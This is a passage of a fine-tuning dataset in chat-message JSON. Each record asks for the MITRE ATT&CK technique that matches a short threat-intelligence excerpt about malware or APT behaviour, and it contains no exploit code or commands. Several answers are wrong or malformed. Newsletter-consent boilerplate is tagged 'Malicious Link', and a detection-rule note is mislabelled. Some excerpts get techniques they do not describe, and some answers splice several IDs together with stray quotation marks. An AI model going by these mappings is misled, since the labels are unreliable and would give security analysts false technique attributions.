                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet infected WinCC machines via a hardcoded database server password."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has used regsvr32.exe to execute components of VirtualBox."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of the infected sites use the TYPO3 CMS (see: https://typo3.org/), which could indicate the attackers are abusing a specific vulnerability in this publishing platform"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Due to its complex infection process that relies in part on registry updates with malware code, Valak can easily infect an unprotected Windows host. With ADS used to hide follow-up malware from a Valak infection, the risk is greatly increased"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sends an OS version identifier in its beacons."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "root/.ssh/{id_rsa, id_rsa.pub} – the SSH pair key used to update the miner from the C&amp;C server using SCP. opt/{bootsync.sh, bootlocal.sh} – the system startup commands that try to update the miner from the C&amp;C server and run it (see Scripts 7 and 8"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 used a Trojan called KEYLIME to collect data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can access the webcam on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used VBScript to initiate the delivery of payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As covered above, the attacker dropped two files: Chaos and Client. Chaos is the backdoor that enables the reverse-shell and Client is needed to initiate the connect-back from chaos"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography', 'T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has the capability to kill any running analysis processes and AV software."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT has a command to enumerate running processes and identify their owners."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command “net use"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to use port forwarding to establish a proxy between a target host and C2."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can collect the time zone information from the system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a victim, Poseidon Group lists all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TRITON’s TsLow python module pings controllers over the TriStation protocol."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has moved staged encrypted archives to Internet-facing servers that had previously been compromised with China Chopper prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: \"\\{[0-9a-f-]{36}\\}\"||\"[0-9a-f]{32}\"||\"[0-9a-f]{16}\". Command data is spread across multiple strings that are disguised as GUID and HEX strings"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to scan for security tools such as firewalls and antivirus tools."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "id — the generated unique identifier of the infected host - message — the Base64-encoded output from the newly created cmd.exe console process"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can detect the existence of remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has obtained and used tools such as Mimikatz and Cobalt Strike, and a variety of other open-source tools from GitHub."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proofpoint researchers frequently observe Silent Librarian’s phishing attempts originating from a university unrelated to their current target using a separate, unrelated university’s URL shortening service. This short URL links to a phishing landing page either directly or via one or more third-party sites that eventually lands the user on a clone of a login portal hosted on an actor-controlled server"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1598.003 - Spearphishing Link', 'T1608.005 - Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT can collect local data from an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has been delivered to victims via emails with malicious HTML attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has downloaded additional scripts and files from adversary-controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin tool - Win32 apps BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. Using BITS - Win32 apps Using BITS - bitsadmin examples Examples showing how to use the bitsadmin tool to perform the most common tasks. Background Intelligent Transfer Service - Win32 apps Background Intelligent Transfer Service (BITS) transfers files (downloads or uploads) between a client and server and provides progress information related to the transfers. cleanmgr Configure the Disk Cleanup tool (Cleanmgr.exe) to automatically clean up certain files. bitsadmin Reference article for the bitsadmin command, which is a command-line tool used to create, download, or upload jobs and monitor their progress"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a module for loading and executing PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has been observed enumerating system drives and partitions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses a software packer called Pe123\\RPolyCryptor."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobian RAT creates an autostart Registry key to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook is a Python-based backdoor compiled with PyInstaller."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used HTTP and HTTPs for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is obfuscated using the open source ConfuserEx protector.  also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi has used unencrypted HTTP on port 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has collected stolen files in a temporary folder in preparation for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT has the ability to collect drive and file information on an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot contains functionality to collect information from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\\appdata\\roaming\\apach. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Gamaredon Group file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed injecting in to Explorer.exe and other processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyDrive can download files to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has been observed querying installed antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We can apply this same concept across other executable traits, such as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and easy rules that can aid in quick discovery as seen in Figure 7."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT19 HTTP malware variant used Base64 to encode communications to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. Hydraq's backdoor also enables remote attackers to modify and delete subkeys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TrickBot modules used for discovery include networkdll and psfin. TrickBot downloads modules for collecting local system information and scouting the network, primarily part of the networkdll module. This module has a battery of command line, WMI and LDAP queries to gather information, and then exfiltrate the data to GRIM SPIDER for review. The psfin module has a similar purpose but specifically searches for financial and point-of-sales indicators"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1074 - Data Staged', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has sent data over HTTP if FTP failed, and has also used a fallback server."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used tools to encode C2 communications including Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is written in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence Once started, the Keydnap backdoor installs a plist file in /Library/LaunchAgents/ if it has root privileges or $USER/Library/LaunchAgents/ otherwise to achieve persistence across reboots"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\) in either the HKLM or HKCU hive. Through 2013, registry persistence was set using standard Windows APIs. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike has the ability to use AES-256 symmetric encryption in CBC mode with HMAC-SHA-256 to encrypt task commands and XOR to encrypt shell code and configuration data."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team is an APT group active since at least 2009 and targeting governments and institutions mostly based in Russia, Japan and Mongolia. For more than ten years, Tonto Team has been using the Bisonal RAT. Tonto Team is one of the APT groups that now has access to the ShadowPad backdoor"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1505.003 - Server Software Component: Web Shell', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used stolen certificates to sign its malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has identified at least three different campaigns since July 2019. It is interesting to note that this threat actor uses HTTPS on the C2. They always use self-signed certificates"
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing was run through a deployed Ubuntu container."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy a container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Email* - - * I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. I agree to provide my email address to “AO Kaspersky Lab” to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the “unsubscribe” link that I find at the bottom of any e-mail sent to me for the purposes mentioned above"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
